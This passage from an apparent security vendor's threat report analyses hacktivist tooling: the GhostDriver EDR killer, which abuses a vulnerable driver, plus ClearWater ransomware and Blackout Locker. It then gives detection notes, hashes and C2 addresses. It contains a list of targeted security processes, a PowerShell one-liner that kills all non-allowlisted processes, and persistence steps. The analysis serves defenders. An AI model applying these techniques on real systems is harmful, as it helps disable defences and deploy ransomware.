MsMpEng.exe, SenseIR.exe, SenseNdr.exe, SenseCncProxy.exe, SenseSampleUploader.exe, NisSrv.exe, avp.exe, kavfs.exe, bdagent.exe, bdservicehost.exe, vsserv.exe, AvastSvc.exe, AvastUI.exe, aswidsagent.exe, avgsvc.exe, mfemms.exe, mfefire.exe, mfevtps.exe, dwengine.exe, dwservice.exe, elastic-agent.exe, elastic-endpoint.exe, Sysmon.exe, wazuh-agent.exe, ipban.exe

Another utility used to kill security software processes is ghostdriver.exe, an unmodified build of the open-source project GhostDriver. In this case, the attackers simply pulled a version straight from GitHub and didn’t modify any of its code.

The tool operates through the following stages:

1. Identify target processes
   The program takes a list of process names (such as msmpeng.exe) via command-line arguments. If no list is specified, it falls back to a default set.
2. Enumerate system processes
   To locate PIDs, the tool relies on standard Windows APIs:
   • CreateToolhelp32Snapshot
   • Process32First
   • Process32Next
3. Generate a list of processes to kill.
4. Load the vulnerable driver
   This is the core phase of the utility’s operation. During this step:
   • The sys driver is written to disk.
   • A SERVICE_KERNEL_DRIVER type service is created.
   • The driver is kicked off via the Service Control Manager (SCM).

GhostDriver.sys is hardcoded inside the GhostDriver executable and is a binary driver known as RentDrv2 (BadRentdrv2).

It contains the CVE-2023-44976 vulnerability, which allows it to:

• Accept user-mode commands via DeviceIoControl.
• Perform operations on processes from kernel mode.
• Bypass security mechanisms, including Protected Process.

Upon execution, GhostDriver drops RentDrv2 to disk, loads it into the Windows kernel, and connects to it via the virtual device \\.\rentdrv2. The utility then issues command 0x22E010 to the driver, passing along the target process ID, and the driver terminates that process directly from kernel mode.

GhostDriver runs in a continuous loop. Every ~700 ms, it rescans for the target processes and sends out termination commands.

After the driver starts up, the utility attempts to delete the ghostdriver.sys file. To do this, it opens a file handle, uses the SetFileInformationByHandle WinAPI function to rename it to something like :GhostDriver, reopens the handle, and marks the file for deletion via FileDispositionInfo. Before wrapping up, it also tries to stop and remove the driver service, and delete the C:\rentdrv.log file where the driver writes its logs.

Example of the adversary command execution launching GhostDriver:

Current versions of Kaspersky products are resilient to these types of attacks: the utilities described in this post cannot terminate their processes.

Connection to the ClearWater ransomware

Alongside the previously described Mythic Apollo samples (C2: 77.72.85.62), backupagnt.exe loaders, and Panorama9 deployment scripts, we discovered a new ransomware strain named ClearWater across several compromised infrastructures. Written in C++ and compiled with GCC (MinGW), the sample is a 64-bit Windows executable. It features zero obfuscation; in fact, the binary wasn’t stripped of its DWARF debug information. This makes analyzing the sample significantly easier and points to either sloppiness or a lack of technical expertise on the developers’ part.

When executed, ClearWater logs its progress in a separate console window.

File encryption

Like most ransomware strains, ClearWater is a Trojan designed to locate and encrypt the victim’s files. The Trojan executable contains a hardcoded RSA-2048 primary public key in PEM format.

For every file it processes, the ransomware generates a new 32-byte key and a 12-byte nonce – though only 8 of those 12 bytes are actually used – and encrypts the file’s contents via the ChaCha20 symmetric algorithm. The ChaCha key is then RSA-encrypted and appended to a specific data structure at the end of the file. To pull this off, the malware leverages cryptographic implementations from the open-source libsodium library.

struct
{
	uint8_t label[4];			//'M', 'Y', 'E', 'K' marker
	uint32_t rsa_encr_size;		//size of RSA-encrypted data
	uint8_t rsa_encr_data[256];	//RSA-encrypted ChaCha key
};

The Trojan processes all files except those with a .txt extension. This approach can easily break installed software, as it blindly encrypts both libraries and executables; however, it does explicitly skip the system directory during its search. Encrypted files are additionally appended with the .clear extension. The malware scans for targets on local drives as well as SMB network shares, which it maps out by using the net view command.

Additional functionality

Within every directory it processes, the Trojan drops the attackers’ demands into a file named CLEARWATER_README.txt.

Additionally, by modifying the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, the malware sets up a persistence mechanism that automatically opens the ransom note with notepad.exe on startup.

ClearWater is distributed inside a self-extracting archive. The extraction script runs in silent mode (GUIMode=”2″), escalates privileges via a UAC prompt, drops the Trojan at C:\ProgramData\ClearWater_x64.exe, and kicks it off. Once the ransomware finishes running, the SFX archive cleans up after itself and wipes the original archive (SelfDelete=”1″).

Alongside this script and the Trojan executable, the archive includes a BMP image. The ransomware sets this image as both the desktop wallpaper (by tweaking the HKEY_USERS\<…>\Control Panel\Desktop\Wallpaper registry key and calling SystemParametersInfoA with the SPI_SETDESKWALLPAPER parameter) and the lock screen background (by modifying the LockScreenImagePath and LockScreenImageUrl values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP).

To complicate system recovery after the attack, ClearWater performs several actions typical of ransomware:

• Deletes shadow copies using the following commands:
  
• Wipes the backup catalog and disables Windows Restore:
  
• Removes restore points:
  
• Disables the system startup recovery option:
  

ClearWater also features a kill_all_non_whitelisted_processes() function designed to terminate active tasks, though it doesn’t actually call it during execution. This function leverages PowerShell to look up and kill any process whose name isn’t included in a hardcoded allowlist within the Trojan’s body. It uses the following PowerShell code to do this:

Get-Process|Where-Object{$w -notcontains $_.Name.ToLower()}|Stop-Process -Force

The exclusion list contains various essential system processes and breaks down as follows:

system, idle, smss, csrss, wininit, services, lsass, winlogon, svchost, explorer, dwm, shellexperiencehost, runtimebroker, trustedinstaller, tiworker, textinputhost, taskhostw, mousocoreworker, fontdrvhost, audiodg, sihost, spoolsv, taskeng, taskhost, searchui, securityhealthservice, startmenuexperiencehost, searchindexer, backgroundtaskhost, sppsvc, wmiprvse, wudfhost, vboxservice, vboxtray, vmtoolsd, vmwaretray, vboxguest, vmsrvc, vgauthservice, vmacthlp, qemud, qemu-ga, msdtc, searchprotocolhost, wlanext, dllhost, conhost, comppkgsrv, msmpeng, mssecflt, systemsettings, securityhealthsystray, nvtray, nvvsvc, ravbg64, igfxtray, igfxem, igfxcuiservice, igfxhk, igfxext

Updated Blackout Locker

In a previously published report (link in Russian) on collaborations between several hacktivist groups, we highlighted a tool called Blackout Locker. In late January 2026, the 4BID group ran a series of attacks against organizations in Russia using an updated version of this malware. This section breaks down the new version of Blackout Locker and covers its key characteristics uncovered during our analysis.

Rust dropper

The attackers use a dropper written in Rust to distribute Blackout Locker. Depending on the specific sample, the dropper first carries out a series of staging actions. It then writes the payload executable to …\Users\[USERNAME]\AppData\Local\Microsoft\[REDACTED].dat and swaps its extension to EXE by calling the Windows command prompt:

After that, it launches the renamed executable.

Blackout Locker

The primary tool deployed in the attacks in question is an updated version of Blackout Locker.

Our analysis revealed that the key difference in this new version is the addition of a screen locker component, which it drops and executes in tandem with the ransomware’s main background payload.

During the initial phase, the screen locker file is created under the following paths:

To launch the screen locker, several tasks are created:

The screen locker is also written to the following registry keys:

After this, two LNK files, SystemHelper.lnk and WindowsHelper.lnk, are created via PowerShell for subsequent execution:

• The first file is placed in the %PROFILEPATH%\All users\Start menu\Programs\Startup directory:
  
• The second file is placed in the %USERPROFILE%\Start menu\Programs\Startup directory:
  

As a result, a shortcut is created in the startup folder pointing to WindowsSystemHelper.exe located on the desktop. This ensures the screen locker appears every time the user logs in. Even if the victim enters the correct password into the locker window, it will keep popping back up; while the window itself closes after password entry, the corresponding task is never actually deleted.

Screen locker

During execution, Blackout Locker generates a file named README.txt, which the screen locker later references to pull the text displayed to the user. Some Blackout Locker samples drop a ransom note written in English:

On the lock screen, it may look like this:

Other samples deploy a ransom note in Russian:

If the program fails to read README.txt, it falls back to a hardcoded ransom message. If this fallback message is in Russian but the victim’s operating system lacks support for Cyrillic encodings, the loader’s on-screen output renders as garbled text.

Attack geography

The majority of the compromised infrastructures belong to Russian and Belarusian organizations, which aligns with the stated agenda of these hacker groups. However, for the first time, we identified victims in other countries with no relation to this agenda: Kazakhstan, the UAE, Syria, and Egypt. Within the network of a Kazakh aviation company, we detected multiple post-exploitation frameworks pointing to C2 servers at 77.72.85[.]62 and 185.221.153[.]121, traces of the Panorama9 and Tactical RMM platforms, and backupagnt.exe loaders. A similar footprint was observed in the infrastructure of an Egyptian hospital, though the familiar toolkit was augmented by the fd.aspx web shell. The remaining international victims exhibited a nearly identical combination of artifacts, with only minor variations.

While the primary targeting vector previously centered on Russia and Belarus, the threat actors now appear to be pivoting their attention toward the wider CIS region and the Middle East. This strategic shift correlates with a statement from a member of the 4BID group, who claimed that attacking Russia is no longer profitable.

Takeaways

The hacktivist groups discussed in this report are steadily expanding the geographical footprint of their campaigns, pushing beyond Russia and the wider CIS region. Alongside this expansion, we observe the growing use of ransomware and other tooling consistent with financially motivated operations, which may further influence their choice of victims.

This shift underscores the critical need for continuous threat landscape monitoring. To stay ahead of threat actors, organizations must look beyond the immediate risks facing their perimeter and proactively track emerging threats, including the tactics of groups targeting specific industry verticals or geographic regions.

Detection by Kaspersky solutions

Kaspersky solutions reliably detect the malicious activity in question at every stage of the malware lifecycle. This section outlines potential detection scenarios.
Publicly available dual-use software leaves numerous artifacts on targeted hosts, which helps Kaspersky Endpoint Detection and Response Expert trace the activity of these utilities.

For instance, network connections established with Panorama9 servers both during the initial software launch and throughout the tool’s operation trigger the panorama9_dns_activity rule. The Hunt Hub section of our TI Portal features detection rules for other event types and specific operating systems, searchable with the keyword panorama9. Similar rules exist for the other utilities described in this post: Tactical RMM, Nezha, and Dev tunnels.

GhostDriver.exe relies on an embedded vulnerable driver, which it drops onto the target host. The creation of these drivers is detected by the vuln_driver_created_by_unsigned_process rule family.

Ransomware is inherently quite noisy and so can be detected at various execution phases. The execution graph within Kaspersky Cloud Sandbox on our Threat Intelligence Portal visualizes the entire ClearWater execution chain, capturing key behaviors such as modifying the desktop wallpaper and deleting shadow copies.

Additionally, the Threat Lookup and Research Graph sections of Kaspersky Threat Intelligence Portal allow you to visualize and analyze the connections between the malicious domains and files used by the adversaries.

Monitoring network traffic is another highly effective method for detecting the malicious activity described here. Kaspersky Anti Targeted Attack (KATA) with the NDR module detects the network communications of all malware samples in question utilized throughout this campaign.

For instance, upon detecting HTTP network activity characteristic of the BlackSalt backdoor, the system triggers an alert for the Backdoor.BlackSalt.HTTP.C&C rule triggering.

Examples of using the Kaspersky Anti Targeted Attack (KATA) platform with the NDR module to detect other agents described here – along with their detailed technical analysis – are available in our dedicated reports on Adaptix and Mythic detection.

Indicators of compromise

Web shells
26100db3f56880110a92a2b4742d6eaf	fd.aspx
cf682a6fee80a78be578b1edd82627fa	fd.aspx
2d5533fb65ebb50a5a5fd53e62d73b9a	fd.aspx
fe04d230db612ea24af3826fda667131	fd.aspx
Scripts
2db94ee3ec69988588702bd77999a5d4	any_local.ps1
f88d2b5c3b885ad5a9c1c44551bccc60	main.ps1
1e1edf879b2dc6c9892a22bfa5985db1	main.ps1
78250fa890220821e2b91e31b965de59	main.ps1
f2af797ac45b9f578c53cc49e5797397	auto_dev.ps1
0c32bfdf83ecebe3a1399d261dc8ff57	auto_dev_test.ps1
e14cc9a959bbe16c48b8dff063b311f3	auto_dev_test_multimple_task.ps1
36b3be503c6e34613ff50cb28e0f3ddb	auto_dev_test_multimple_task.ps1
c12ebe625737ed0908b045e811f14ecd	tun.ps1, auto_dev_test_multimple_task.ps1
1c0924f5711a24821921de5ad822213b	grant.ps1
d78adab5e16c26d4cd14fe38f77e29e6	pan.ps1, pam.ps1
6cf548445c39aff844be96d73c89e376	test.ps1
911a21aa999c324dc960d3498eec528e	radiant.ps1
68e310de44c3165ffffa25bc495d6fc5
4f41a22b3e7469fb6b45a42d71ec7087
80e5bde401d6b0ca96015ae9cfeb6535
1c82a94c362a9e98a66ae57d6ff37900
fa04aeedc0d2f5bb6ed357fdae1c1435
AdaptixC2
555a6722436d7cf7de396e0c57d32a27
b974141ff9ad1efb60dd9e16977266ca
7da855b2fd9b52f9088e64d656164637
d08056c2ac28933d6843658c2c8c574f
038cab0c60c53cf12f048272014024c0
c183033d86d2e052b8eb0deb2136ab29
bc0ebf67986eea803b4c9633ed3a4bb5
18618f4b468ba4e64c2e1072a6da2134
1742a9fa35e253614b76ac0f687ba02e
c7eb6da3aa216816079a1b785097552a
3ee38b944e5c83922f99641846f7db0c
d8ff7f417d56fa2a3baf3c8933013a25
1ff222457f5e0e32adfa8341f260dde7
ede8ce887dd9ab7add0f0fc872d51369
1344e6bc51cea35befb4adff7a25899b
2a09162d72aa416e18bab46070043a13
841b7d3863b49f62d4faa9949ff5df38
1bd1ca848b15530e39792b4fe6f31367
Mythic Apollo
b36968b98046d1b033d84f292e7ca1cb
663a479d6d24c767f1d3229a0a91554b
54a308f734095d54ae0e1c86c849a2d8
3137958eb830186826d486afd9222aee
1d09499cb2d7d70df903b60602a58887
d74262f968dc3f378c4021a89d16a292
3d9cbc944f9a9e127550ffb4e8394965
bcd3859f4ddd72c4690d76c3b4ef8955
3a9b0875fc692944c180b165a83a0d17
c558e6a9d0a697c757aa6d7782e269c9
61647db645f7cc221046999ef1dbe1d1
02493e1cb684be6a1a1fc6334a56c516
a3dba01c76571adc0797801ff30f2b90
3f4fbba101b209b00e70787fd5bab819
cd0c5b9e4e47df4231d02ed87ff49f26
b8a13e808b5b5f1836d3e559755139d0
60f8b115aec8a13b0069efc84fc645f5
da55b5612a80ef20ec75b68151e7ff4b
7d35b4961914ad83a57f8832d8e870d8
334abbdc99d359aab2ea371dd4eda5f2
389a1bbdbf5c91bd1c179227f5ae0923
87d48fbccb4aaee95222e215ecb7ebec
76c819185e3c8b8557a2c3986ab80a7c
6d19c8eea11d50c01d20f18382a964d1
Other C2 frameworks
8db0adf8fd6dc6195d7ae55e37e49f97
08f3a14a2337eb9936c38f5159be007c
717ab7624c192f6f8dd38994116c28dc
d1c51b92939aa168f0951a8368841373
5398b7eaa94f0ee570b1c5642b559047
d65a79ea9257637c77cab6e087468912
008cd423ca45134d3343f66cced1d104
9741672506f26813c71839aaa6aa3882
06bed0a0906e52c764b3b7016d6a4428
upd.exe (SFX archive)
08c069f133ac27cbc02a0ed79e4e87ba	upd.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
update1.exe (SFX archive)
10824d14c814524155f2b529cf5fee43	update1.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
akolo.exe (SFX archive)
242038139842ec79ec1044c64eb0804a	akolo.exe
53ba13cc6066adfd67f8098c0a5b8dde	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
update.exe (SFX archive)
84bb66a982710c5536143a07d84e8749	update.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
akolo.exe (SFX archive)
fa3c222f6b53d6a2e35a54600f6aa011	akolo.exe
0b1870d57221eec6f3bbef648e71a724	backupagnt.exe
5e81f72614db42615489266be11b1d09	sliver
akolo.exe (SFX archive)
4c8a0531653b5398a35c6b1b80ff1350	akolo.exe
83f66862c0cc40da20236fd6b47138fd	backupagnt.exe
5e81f72614db42615489266be11b1d09	sliver
[REDACTED].exe (SFX archive)
56be07e46fd452315008ed246ebbf52b	[REDACTED].exe
579e8bbd6a5bcca89b5acd6fb5db32db	backupagnt.exe
dd8fea244afc8223b961f1d9d6ac8c5d	Apollo
WindowsServiceHelper.exe (SFX archive)
09d0517a1f69feff8186655ae3b567e0	WindowsServiceHelper.exe
62123c39477389d500e74e82782adea5	BlackSalt Backdoor
winexe.exe (SFX archive)
6d365de5c5a13006b7cadd6bc6876e84	winexe.exe
2f40bcee90abed0898e92521da17e52d	BlackSalt Backdoor
WindowsServiceHelper.exe (SFX archive)
6dfef58ef68fb7965a23da8be3141af9	WindowsServiceHelper.exe
56d1de3159adbfda20aca593c99901f9	BlackSalt Backdoor
[REDACTED].exe (SFX archive)
96dbdc2651d829bf9ba35674dd4bfcae	[REDACTED].exe
129225b3e93c17f131bcc2a982ffb09a	BlackSalt Backdoor
test.exe (SFX archive)
9f37fff7e5d22f83fc1c0872ad5332f9	test.exe
cf54f6cbdb4dbf1ce6fc2e5be4ca3b20	BlackSalt Backdoor
1.exe (SFX archive)
e99efd77392e2b4fe4d9bf5728a12b98	1.exe
129225b3e93c17f131bcc2a982ffb09a	BlackSalt Backdoor
WindowsServiceHelper.exe (SFX archive)
f2dc794bf93887e281ad89209493065a	WindowsServiceHelper.exe
2f40bcee90abed0898e92521da17e52d	BlackSalt Backdoor
EDR killers
d13997b1716e4c82ab454285202eafdc	killer.exe, 2.exe
ecb57d8793514aa02314417265b1853f	kil.exe, 3.exe
3b974ff986445e5944c51179d19bd6be	GhostDriver.exe

Network indicators
212.46.12[.]182
185.221.153[.]121
77.72.85[.]62
45.150.109[.]2
130.49.155[.]112
45.112.194[.]82
138.226.236[.]52
85.137.253[.]186